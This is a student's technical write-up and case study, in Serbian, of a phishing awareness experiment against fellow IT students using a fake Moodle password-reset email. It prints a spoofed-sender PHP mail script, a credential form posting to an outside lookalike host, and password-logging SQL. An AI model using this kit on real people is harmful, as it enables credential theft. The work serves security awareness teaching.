Diese Präsentation wurde erfolgreich gemeldet.
Wir verwenden Ihre LinkedIn Profilangaben und Informationen zu Ihren Aktivitäten, um Anzeigen zu personalisieren und Ihnen relevantere Inhalte anzuzeigen. Sie können Ihre Anzeigeneinstellungen jederzeit ändern.

Studija slučaja - phishing

555 Aufrufe

Veröffentlicht am

Tehnicka dokumentacija i studija slučaja o vidu internet prevare: Phishing. Predmet testiranja su studenti informatike. 20 poslatih email zahteva za promenu podataka, pročitajte rezultat. Prica pored tehničke pripreme jednog prostog sistema za phishing ispituje svest i obazrivost mladih it stručnjaka, ali takodje objašnjava i koje su mere zaštite od ove sve češće pojave.

Veröffentlicht in: Internet
  • Als Erste(r) kommentieren

Studija slučaja - phishing

  1. 1. Tehnička dokumentacija projekta Pecanje (Phishing) Iz predmeta : PRAKTIČNA NASTAVA Autor : Boban Lapčević Mentor : Vladica Ubavić
  2. 2. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Vremenska linija razvoja projekta ili sadržaj: Uvod(osnovni razvojni koncept)………………………………………………….1 Prvi funkcionalni prototip……………………………………………………………2 Admin panel I MVC……………………………………………………………………..3 Finalne faze projekta…………………………………………………………………...4 Analiza(studija slučaja)……………………………………….………………………5
  3. 3. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace 1.Osovni razvojni koncept Dobili smo zadatak, zbog našeg interesovanja za web tehnologije, da odradimo jedan drugačiji I praktično orijentisan projekat, koji će imati za cilj povećanje svesti mladih informatičara o prisutnosti informatičkih napada, njihovoj važnosti i mogućem curenju naših informacija, prvo u vidu lozinki a kasnije I indetifikaciju napadača sa žrtvom, šta I kako posle napada, ali najveći akcenat je postavljen na to, šta uraditi da ne dodje do problema? Za rad smo dobili najčešći, veoma popularan internet napad nazvan phishing za IT, ustvari proisteklo iz phishing) ili pecanje, gde je cilj da se korisnik navede da on “sam svojom voljom” (ne pažnjom) preda tj pošalje napadaču svoje kompromitujuće ili bezbednostne informacije koje se nalaze u sistemima čiji pristup on kao žrtva omogućava napadaču. Da bi smo postigli što bolji efekat, odlučili smo da priču pretvorimo u stvarnost I shodno mom poznavanju web tehnologija napravimo jedan potpuni sistem za Fishing I da testiramo svest naših starijih kolega sa informatičkog smera. Za test aplikaciju, apstrakovao sam sistem koji počinje primljenim e-mail-om od strane naše skripte koji predstavlja “mamac” na kome stoji poruka koja bi trebala steći poverenje korisnika I u isto vreme da bude dovoljno upečatljiva za iznudu informacija.Odabrali smo da prikupimo lozinke poznate platforme za učenje, pa je poruka bila shodna tom sistemu, konkretno, ažuriranje moodle platforme. Prvi zadatak je bio pronaći prigodno mesto gde će se sam sistem nalaziti kao i uslov da postoji instaliran Mail server sa koga bi smo poslali naše poruke korisnicima. Pri otvaranju poruke korisnik vidi zahtev za promenu lozinke I link za promenu lozinke. Vodjeni zakonom verovatnoće u samom mail-u smo ubacili forme za direktnu promenu lozinke koji adresira na akciju koja upisuje podatke u html fajl I u bazu podataka. Na kraju tog procesa potrebno je da administrator stekne uvid u uspešnost projekta, ali isto tako I neuspešnost ili nesvesnost ciljane grupe studenata, koja olako poveravaju svoje podatke pristignutim mail-ovima. Za ovaj projekat koristićemo PHP verzije 5.5.12 Apache server verzije: 2.4.9 MySql tip baze podataka na zakupljenom nezavisnom privatnom serveru. 2.Prvi funkcionalni prototip Prvo je bilo potrebno da se napravi dizajn koji će svojim izgledom biti što približniji stilu školskog lms- sistema, odmah posle apstrakcije bacio sam se na html/css, pravio screenshot-ove, da bih stekao sliku kako bi
  4. 4. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace to trebalo da izgleda I šta sve, jedan takav sistem, bi trebao da ima. Posle pravljenja skice projekta imali smo tačnu sliku kakav sistem želimo da realizujemo , i kojom tehnologijom. Za dizajn stranice iskoristio sam potpuno iste stil fajlove koje koristi I školski vebsajt tj moodle platforma, opcijom view source u browser-u dodelio sam svojoj stranici linkove ka css fajlovima platforme za učenje. Naravno sve je trebalo promeniti u cilju funkcije našeg sistema a to je promena lozinke pa su dodata polja korisničko ime, stara lozinka, nova lozinka I potvrdite novu lozinku. Aplikacija pecanje treba početi uvek, naravno, od slanja e-mail adrese. Posle konfigurisanja mail-servera na svom novom hostingu sam napisao posebnu skriptu za slanje email-a koja malo odstupa od uobičajene skripte za e-mail. Da ova skripta koristi istu PHP funkciju kao I ostale, funkciju mail(), medjutim u ovoj skripti je bilo potrebno naznačiti da se u njoj: 1.Izvršava HTML 2.Izvršava CSS 3.Da se ćirilica enkodira pravilno I po pravim standardima 4.I naravno da se sakrije pravi identitet sa koga je mail poslat (bar na prvi pogled korisnika) $headers = “MIME-Version: 1.0rn”;
  5. 5. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace $headers .= "Content-type: text/html; charset=iso-8859-1rn"; $to = 'example@example.com'; $from = 'admin@vpskp.edu.rs'; $subject = 'Lms - Ažuriranje podataka'; $body = '<!DOCTYPE html> <html lang="en"> … Dalje u telu sajta postavimo polja I adresiramo formu na spoljnu akciju na serveru koja će posle submit-a riderektovati I izvršiti funkciju za upis podataka u bazu. Pošto u email-u se css, kao poseban style jezik ne prihvata morali smo da koristimo stariju verziju html tagova koja su danas odbačene, ali ipak se izvršavaju I da preko njih pošaljemo css mail-u I da se izvrši u poruci. Send_mail.php <form action="http://vpskp.edu.mwi.si/action.php" method="post"> Korisnicko ime : <input required name="username" type="text" style="background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Korisničko ime"> Vaša lozinka : <input required name="password" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Stara lozinka"> Nova lozinka : <input required name="newpass" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Nova lozinka"> Ponovite lozinku : <input required name="passtr" type="password" style=" background:#f2f2f2; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; color:#000;" placeholder="Ponovite lozinku"> <div style="text-align:center;"> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="submit" style="color:#fff; border-radius:5px; width:90%; text-align:center; -webkit-border-radius:5px; -
  6. 6. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace moz-border-radius: 5px; background:#5e7f79; padding:5px; border:1px solid #000; text-shadow: 1px 1px 1px #949494; font-weight:bold;"> </div> </div> </form> I naravno na kraju mail funkcija sa svim vrednostima koje smo pripremili : mail($to, $subject, $body, $headers, "-f$from"); Najčešći problem koji se javlja pri samom slanju mail-a ovakve vrste osim skrivanja identiteta koji se rešava jednim –f ispred varijable $from jeste i pravilna enkripcija na svim mail sistemima .Mail sistem Outlook kao i yahoo ima specifičnu vrstu enkripcije i možemo dobiti mail kao što je prikazano na slici iznad.
  7. 7. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Posle upoznavanja sa specifičnostima svakog sistema u $headers varijabli smo promenili standardni utf8 u iso-8859-1 i time dobili zadovoljavajući rezultat. Mail je uspešno stizao na odredište kao i više mail-ova. PDO MYSQL bibliotekom smo uspostavili vezu sa bazom, a pored toga iskoristili i funkciju file_put_contest za duplirani unos podataka u html fajl, kako bi lako mogli da pročitamo podatke koje smo uneli. SQL upit je izgledao otprilike ovako : INSERT INTO datas(username, pass, newpass, verpass,date_submit, IP_adress) VALUES (:username, :pass, :newpass, :verpass, :date_submit, :IP_adress) Gde se može videti da sam pored ostalih informacija preuzeo i zabeležio korisničku IP adresu na osnovu čega bih kasnije odredio broj unikatnih posetilaca sajta i izveo detaljnije statističke informacije. Nakon svega testirali smo projekat Pecanje po prvi put u školi glumeći napadače i žrtve i dobili odgovarajuće rezultate, to je bio potpuno funkcionalni prototip naše aplikacije. 3.Admin panel I MVC Posle svakog prototipa, koji predstavlja celokupnu zamisao i pokriva sve obaveze koje dati sistem ima da izvrši, potrebno je razraditi ideju vrlo pažljivo i organizovati podatke na taj način da se i posle mnogo linija koda programer snadje za eventualnu nadogradnju softvera ili možda ispravku i slično. Posle zadatka da se napravi još i admin panel, pristupio sam projektu ozbiljnije i uključio u plan nove funkcionalnosti koje treba da dodam u sistem a to su: 1.Login Sistem (Autentifikacija) 2..htaccess 3.Generisanje liste 4.Forme za slanje e-mail zahteva 5. Početna - statistika 6.i Odjavljivanje sa platforme Zato tražimo način na koji ćemo iskoristiti prednosti objektnog orijentisanog programiranja i napraviti od svih tih klasa, referenci, nasledjivanja jednu skladnu celinu. Pre nego što počenmo sa MVC-om moramo reći našem serveru na kome radimo da nam prepiše url i da podesimo da kroz url ne pristupamo direktno fajlu kroz ime i ekstenziju već kroz url pristupamo klasi i u
  8. 8. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace njenoj __construct metodi toj funkciji ili u PHP-u ako je ime funkcije ista kao i ime klase ta funkcija se automatski izvršava i bez pozivanja reference te funkcije posebno. Ovako izgleda moj .htaccess fajl za projekat pecanje: RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-l RewriteRule ^(.+)$ index.php?url=$1 [QSA,L] Naveli smo samo neke od objekata koje se moraju isprogramirati. Pošto sama veličina aplikacije nije komplikovana, zato nisam imao potrebu za korišćenjem nekih framework-a poput CodeIgniter-a ili Symfony i slično. Napisao sam zbog potpune jasnoće i mogućnosti objašnjenja najprostiji mogući sopstveni MVC frejmvork. MVC jeste model koji svrstava sve fajlove našeg PHP projekta otprilike u direktorijume : Model, View i Controller i još neke pomoćne direktorijume... U model-u čuvamo komplikovane PHP funkcije koje komuniciraju sa bazom. Controller nam omogućava pozivanje funkcija kao npr generisanje model-a i view-a za svaki url tj app.com/url posebno, tako da nam se za npr Example.com/index Poziva ista ta funkcija sa tim imenom u controller-u index.php a controller poziva funkciju iz view-a koja generiše fajl: index.php u folderu view/index folderu... Za example.com/dashboard
  9. 9. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Generiše dashboard stil u view/dashboard/index.php, i tako redom... Na datoj slici vidimo sublime editor i levu traku u kojoj je struktura našeg projekta Config – U folderu config čuvamo konfiguracione fajlove kao što su domen servera, ime baze, lozinka, ime korisnika... Controllers – Svaka stranica mora imati svoj controller fajl koji će pozivajući se da generiše potrebne funkcije svaki Controller počinje sa class ImeKontrolera()... Libs – libs folder sadrži biblioteke od kojih je najavžnija npr bootstrap(gnezdo programa, tu je ceo kod koji pozivamo u index, regulišemo url-ove, podešavamo loader-e model-a, posebnih klasa i referenci itd.), Models – u models folderu čuvamo login_model, dashboard_model ... U njima se u različitim funkcijama definišu kodovi i upiti koji komuniciraju sa bazom.Kreiraju, brišu, edituju zapise... Public – Sav css i javascript kod stavljamo u public folder, takodje i sav materijal koji ima veze sa stilom stranice. U public folderu se nalaze obično tri podfoldera a to su:
  10. 10. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace -CSS -JS -Images -Views u ovom folderu se čuvaju fajlovi koji u sebi sadrže html svih stranica koje load-ujemo tako da stil , generisanje koda iz funkcija zbog pregleda programiramo fajlove unutar ovog foldera. Admin panel Da bi razdvojili interfejs posetioca i interfejs administratora, kreiraćemo poseban folder, administrator u kome ćemo iskodirati celu okruženje za administratora. U folderu kreiramo prvo htaccess fajl, i integrišemo naš mvc model . Da bi korisnici uopšte mogli da se loguju pravimo index stranicu za njih sa formom koja cilja na neki model, u ovom slučaju login_model i funkciju u njemu npr funkcija enter. Podatke iz forme prosledimo u SQL upit i uporedimo ih u npr tabeli users da li postoji ukoliko ne postoje korisnici se vraćaju na istu ili sličnu stranicu sa tekstualnom porukom o grešci. Ukoliko identični podaci postoje korisnik se loguje i započinje svoju sesiju. Funkcijom session_start počinje gostovanje korisnika na stranici npr dashboard i njegovo gostavanje ne prestaje sve dok se ne pokrene funkcija session_destroy koja uništava
  11. 11. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace sesiju i vraća korisnika na login stranicu. Na svakoj zaštićenoj stranici, dakle, koja je namenjena korisniku nalazi se provera. Varijabla dobija informacije da li sesija postoji i nakon provere korisnik ostaje na stranici ili se riderektuje napolje van zaštićene mreže. Dalje nastavljamo po istom šablonu mvc da pišemo funkcije koje su nam potrebne za rad sistema, a to su: Početna Generiše Statistiku Lista Generiše listu korisničkih podataka Pošta Generiše polje koja sadrži vrednost koliko zahteva želimo poslati, posle procedurisanja forme generiše se toliki broj polja koliko smo uneli, i vrednost tih polja je uneta u $to varijablu PHP mail funkcije koja se pokreće sa MAIL servera. Odjava – Uništavanje sesije i riderekt na administrator početnu stranicu. 4.Statistika Postoje mnogi dizajni grafikona na internetu koje možete besplatno koristiti u vašem projektu uz naravno nešto umeća iz SQL-a kao i znanja da javascript kod iz tih grafikona generišete pomoću PHP-a sa ubačenim podacima iz odredjene baze, tabele i slično. Ja sam iskoristio javascript biblioteku highcharts.com, koja sadrži velik broj različitih vrsta grafikona, pita, barova, tabela i slično. Iako su vrlo osetljive na promene, tako da na primer, kada pogrešite u generisanju koda, jednostavno nestane ceo grafikon,sve dok sami ne nadjete grešku u kodu, dok kodirate u PHP-u imate izveštaje koje vas upućuju na grešku pa čak i kako da je otklonite.
  12. 12. FISHING „PECANJE“ Tehnička dokumentacija i studija slučaja – VPŠ Blace Na ovoj slici je prikazana početna stranica našeg završnog Pecanje projekta koja u prvom bar-chart-u prikazuje koliko jedinstvenih IP adresa se ukupno „upecalo“ za svaki dan posebno. Dok drugi bar pokazuje koliko puta su ti jedinstveni korisnici pokušali da se uloguju misleći da njihovi podaci nisu tačni, ovo je dobar pokazatelj za napadače jer više puta poklopljenih starih šifri čini taj podatak realnijim, tako da je napadač siguran da ima pravu šifru u bazi koju može iskoristiti. Što je prikazano i tabelarno odmah ispod bar-chart-a. U drugom segmentu desno prikazan je procenat upecanih korisnika od uzorka broja email-a koji smo poslali. Ukupno je poslato 20 email zahteva, 12 zahteva je potvrdjeno što čini 60 procenta potvrdjenih phishing zahteva. Na poslednjom pie-chart slici možemo videti da je najviše upecanih bilo prvog dana, i da je svakim sledećim danom padao broj upecanih osoba, što je uobičajeno za dobro odradjen internet napad. 5.Analiza slučaja Obzirom da je u prva dva dana nakon slanja zahteva, odaziv bio 50%, možemo li da izvedemo statističku pretpostavku koliko od 20 učesnika otvori e-mail u razmaku od tri dana? Koliko god taj odziv bio, ne može biti ni u kom slučaju 100%... Napomenimo da neki od korisnika uopšte i ne koriste email adrese. Studija ovog slučaja takodje je pokazala da prvog dana 4 jedinstvena korisnika su pokušala ukupno 19 puta da unesu svoje podatke tako da je napadač poklapanjem unetih podataka sve više sigurniji u njihovu autentičnost. Uzeći u obzir celokupnu dosadašnju statistiku 12 korisnika su ukupnoimala 51 pokušaj unosa informacija, što je 6,375 puta po korisniku. Ovo je mali eksperiment je pokazao koliko su i sami informatičari obazrivi na predaju informacija, a kod običnog surfera danas rezultati uspešnosti phishing-a su još veći. Ovaj napad će još dugo godina biti aktuelan i produktivan. Najbolje dokaze za to možemo videti na osnovu iskustva twitter-a kada su prikupljeni podaci više od sto hiljada korisnika. Takodje to se vrlo često dešava i na google mail-ovima, gde je to najčešći vid preuzimanja naloga. Na google mail-u postoji opcija prijavi kao phishing, koji je dosad jedini vid odbrane (stavljanjem tog hosta na neku vrstu „crne liste google-a“, naravno, ukoliko je vaša prijava opravdana). Jedini savet za one koje redovno proveravaju mail jeste da nikada ne menjaju podatke direktno iz email poruke i da dobro provere url sajta gde ih vodi link, da li je (u vezi propusta twitter) u pitanju twitter.com ili twitteri|.com .

×